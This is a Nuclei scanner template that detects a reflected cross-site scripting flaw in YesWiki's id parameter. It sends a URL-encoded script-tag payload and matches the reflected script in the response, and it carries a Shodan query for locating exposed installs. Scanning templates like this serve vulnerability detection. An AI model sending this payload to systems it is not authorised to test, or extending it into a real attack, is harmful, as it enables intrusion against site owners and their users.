id: yeswiki-xss

info:
  name: YesWiki <2022-07-07 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    YesWiki before 2022-07-07 contains a cross-site scripting vulnerability via the id parameter in the AccueiL URL.
  reference:
    - https://huntr.dev/bounties/de4db96c-2717-4c0e-b7aa-eee756ca19d3/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cwe-id: CWE-79
    cpe: cpe:2.3:a:yeswiki:yeswiki:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"yeswiki"
    product: yeswiki
    vendor: yeswiki
  tags: yeswiki,huntr,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?PagePrincipale/rss&id=1%27%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Query failed:"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cfd2fea4bc140724e38daaf0cfd85bccf62debbcaa2b9d30477ecde14cb9e54902206d5a4258597e65a32daa79347ddfac65ca347fd4ac32569322b79740b05235fd:922c64590222798bb761d5b6d8e72950